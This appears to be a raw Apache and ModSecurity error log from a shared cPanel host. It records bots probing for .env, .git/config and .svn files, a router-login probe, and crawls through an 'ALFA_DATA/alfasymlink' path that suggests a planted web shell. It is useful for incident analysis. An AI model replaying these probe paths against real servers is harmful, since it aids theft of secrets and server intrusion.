[Tue Oct 27 04:19:36.513918 2026] [security2:error] [pid 3194328:tid 3194328] [client 185.191.171.12:18240] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/amdgpu/kaveri_uvd.bin"] [unique_id "auBemMsFEw8TBOSK6W-msQAAAAk"]
[Tue Oct 27 04:19:36.513958 2026] [security2:error] [pid 3194328:tid 3194328] [client 185.191.171.12:18240] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/amdgpu/kaveri_uvd.bin"] [unique_id "auBemMsFEw8TBOSK6W-msQAAAAk"]
[Tue Oct 27 04:19:39.743498 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 18.209.137.234:57668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/module/drivers/pci:virtio-pci/remove_id
[Tue Oct 27 04:19:44.156806 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 34.196.237.236:28683] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:52.202626 2026] [ssl:error] [pid 3201654:tid 3201654] (70014)End of file found: [client 185.191.171.1:42394] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:56.095591 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.207.79.144:64232] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:20:10.394191 2026] [security2:error] [pid 3194327:tid 3194327] [client 106.54.62.156:43372] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auBeujACgwKulg8gg2NrswAAAAg"]
[Tue Oct 27 04:20:10.395310 2026] [authz_core:error] [pid 3194327:tid 3194327] [client 106.54.62.156:43372] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:20:10.571946 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 85.208.96.208:53126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/objs_per_slab
[Tue Oct 27 04:20:12.057663 2026] [core:error] [pid 3201654:tid 3201654] (13)Permission denied: [client 44.206.65.8:10748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/subsystem/drivers/system/bind
[Tue Oct 27 04:20:19.739667 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 3.212.86.97:54853] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:20:22.750953 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 85.208.96.209:11502] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:20:23.753184 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 100.29.34.97:25151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:20:27.943082 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.215.61.66:37426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:20:31.986931 2026] [core:error] [pid 3201654:tid 3201654] (13)Permission denied: [client 18.205.91.101:15178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/graphics/fb0/device/subsystem/slots/6/module/uevent
[Tue Oct 27 04:20:51.797355 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.238.45.183:64160] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:20:55.763761 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 100.29.164.178:20675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:21:19.855658 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 18.215.112.101:11920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:21:23.984218 2026] [ssl:error] [pid 3201654:tid 3201654] (70014)End of file found: [client 54.91.122.193:60025] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:21:27.791364 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 54.156.248.117:51164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory20/node0/cpu0/crash_notes_size
[Tue Oct 27 04:21:39.810572 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.220.148.166:12772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:02.848547 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.138.12.16:17728] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.svn/entries"] [unique_id "auBfKtOTO42xOmZCRV02tQAAAAE"]
[Tue Oct 27 04:22:02.848764 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.138.12.16:17728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.svn/entries"] [unique_id "auBfKtOTO42xOmZCRV02tQAAAAE"]
[Tue Oct 27 04:22:02.849725 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.138.12.16:17728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBfKtOTO42xOmZCRV02tQAAAAE"]
[Tue Oct 27 04:22:04.739801 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 44.221.105.234:20095] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:07.779468 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 3.218.35.239:45305] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:12.157706 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.225.98.148:23460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:15.785805 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.215.77.19:54051] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:17.879313 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.138.12.16:21060] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "auBfOTACgwKulg8gg2NruAAAAAg"]
[Tue Oct 27 04:22:17.879577 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.138.12.16:21060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "auBfOTACgwKulg8gg2NruAAAAAg"]
[Tue Oct 27 04:22:17.880509 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.138.12.16:21060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBfOTACgwKulg8gg2NruAAAAAg"]
[Tue Oct 27 04:22:27.739314 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 98.83.72.38:44883] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:31.926232 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 54.88.84.219:16031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:47.458008 2026] [authz_core:error] [pid 3194327:tid 3194327] [client 185.242.226.98:39028] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:22:53.394589 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.235.191.179:34864] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:22:55.837935 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 44.206.93.215:15375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/driver/module/uevent
[Tue Oct 27 04:23:08.031542 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 34.195.248.30:1948] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:23:12.407348 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 50.16.248.61:32750] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:23:15.919589 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 23.21.179.120:55648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/cpu1/subsystem/drivers_probe
[Tue Oct 27 04:23:43.943882 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.209.137.234:8010] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:23:51.760832 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 34.194.165.45:16442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:23:59.870740 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.21.175.228:23809] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:24:02.339458 2026] [authz_core:error] [pid 3201656:tid 3201656] [client 16.216.88.128:36864] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Tue Oct 27 04:24:11.915298 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.156.124.2:18113] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:24:26.854911 2026] [security2:error] [pid 3201653:tid 3201653] [client 130.12.180.167:22474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/.env"] [unique_id "auBfuvNweTK95FG6k4653wAAABQ"]
[Tue Oct 27 04:24:26.855216 2026] [security2:error] [pid 3201653:tid 3201653] [client 130.12.180.167:22474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/.env"] [unique_id "auBfuvNweTK95FG6k4653wAAABQ"]
[Tue Oct 27 04:24:26.856283 2026] [security2:error] [pid 3201653:tid 3201653] [client 130.12.180.167:22474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auBfuvNweTK95FG6k4653wAAABQ"]
[Tue Oct 27 04:24:27.795926 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 18.205.127.11:44463] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:24:31.777841 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 98.84.131.195:57368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:24:33.836017 2026] [security2:error] [pid 3201645:tid 3201645] [client 49.51.204.74:55424] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "auBfwZKov8XCMSQ3KFeUEgAAAAs"]
[Tue Oct 27 04:24:35.871757 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 52.71.203.206:28777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:24:39.907524 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.204.253.129:64264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:24:43.949588 2026] [security2:error] [pid 3175284:tid 3175284] [client 54.156.55.147:57184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/power/"] [unique_id "auBfy0QFomyjz0g-y4eOBwAAAAo"]
[Tue Oct 27 04:24:43.949640 2026] [security2:error] [pid 3175284:tid 3175284] [client 54.156.55.147:57184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/power/"] [unique_id "auBfy0QFomyjz0g-y4eOBwAAAAo"]
[Tue Oct 27 04:24:47.576391 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 185.191.171.4:50676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-4k/destroy_by_rcu
[Tue Oct 27 04:25:11.935886 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.1.157.90:8862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:25:27.750153 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 107.20.255.194:47207] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:25:32.320450 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.29.160.53:3888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:25:36.147738 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 184.73.195.18:12050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/resource4_wc
[Tue Oct 27 04:25:43.830977 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 18.213.70.100:19084] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:25:51.618422 2026] [security2:error] [pid 3201648:tid 3201648] [client 182.190.216.107:8664] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/boaform/admin/formLogin"] [unique_id "auBgDyRZUkZtsPsHe3i16gAAAA4"]
[Tue Oct 27 04:25:51.776720 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 35.171.117.160:8807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:25:56.004753 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.211.148.239:3411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:25:59.906054 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 100.29.107.38:39745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:26:00.206874 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 185.191.171.9:15274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:26:03.693693 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.230.69.161:47718] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:26:19.979034 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.215.235.20:60342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:26:29.818237 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 185.191.171.11:38152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/trace
[Tue Oct 27 04:26:39.734718 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 50.19.221.48:30838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory20/subsystem/drivers_probe
[Tue Oct 27 04:26:51.731401 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.83.72.38:13932] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:27:01.317519 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.225.148.123:48834] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:27:19.767387 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.208.146.193:45873] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:27:29.061637 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 52.7.13.143:38976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:27:36.206823 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.235.172.96:27495] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:27:44.265476 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.231.45.47:58302] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:27:55.597744 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 34.231.156.59:21530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:28:03.785097 2026] [security2:error] [pid 3201645:tid 3201645] [client 18.213.240.226:31666] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/physical_node/cache/index2/"] [unique_id "auBgk5Kov8XCMSQ3KFeUFQAAAAs"]
[Tue Oct 27 04:28:03.785155 2026] [security2:error] [pid 3201645:tid 3201645] [client 18.213.240.226:31666] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/physical_node/cache/index2/"] [unique_id "auBgk5Kov8XCMSQ3KFeUFQAAAAs"]
[Tue Oct 27 04:28:15.454085 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.94.40.182:33853] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:28:23.622455 2026] [security2:error] [pid 3201640:tid 3201640] [client 23.23.214.190:57530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0303:00/"] [unique_id "auBgp-JWPhOgLfVxy6aRwAAAAAI"]
[Tue Oct 27 04:28:23.622505 2026] [security2:error] [pid 3201640:tid 3201640] [client 23.23.214.190:57530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0303:00/"] [unique_id "auBgp-JWPhOgLfVxy6aRwAAAAAI"]
[Tue Oct 27 04:28:29.463783 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 44.193.102.198:49896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/io_type
[Tue Oct 27 04:28:47.328148 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.93.98.99:26237] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:28:55.259870 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.236.185.101:15641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:28:59.167383 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.6.5.24:59637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:29:03.438697 2026] [core:crit] [pid 3201653:tid 3201653] (13)Permission denied: [client 47.251.63.210:29844] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 04:29:03.575811 2026] [authz_core:error] [pid 3201641:tid 3201641] [client 47.251.63.210:29858] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:29:27.409631 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 18.213.27.222:10514] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:29:38.939278 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 35.174.141.243:19739] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:29:46.941636 2026] [security2:error] [pid 3201645:tid 3201645] [client 34.196.6.199:31257] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory3/node0/memory4/"] [unique_id "auBg-pKov8XCMSQ3KFeUGAAAAAs"]
[Tue Oct 27 04:29:46.941677 2026] [security2:error] [pid 3201645:tid 3201645] [client 34.196.6.199:31257] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory3/node0/memory4/"] [unique_id "auBg-pKov8XCMSQ3KFeUGAAAAAs"]
[Tue Oct 27 04:30:03.131315 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 184.73.239.35:32601] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:30:16.489054 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 100.24.167.60:46635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:30:18.787634 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 3.227.180.70:32617] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:30:28.565082 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 185.191.171.11:48320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/destroy_by_rcu
[Tue Oct 27 04:30:42.608689 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.232.39.98:29085] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:30:42.701194 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 85.208.96.203:20438] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:30:57.284098 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.217.82.254:32691] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:02.484291 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.218.6.93:61485] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:19.903233 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 23.23.214.190:60940] AH02013: coalesce failed to read from data bucket
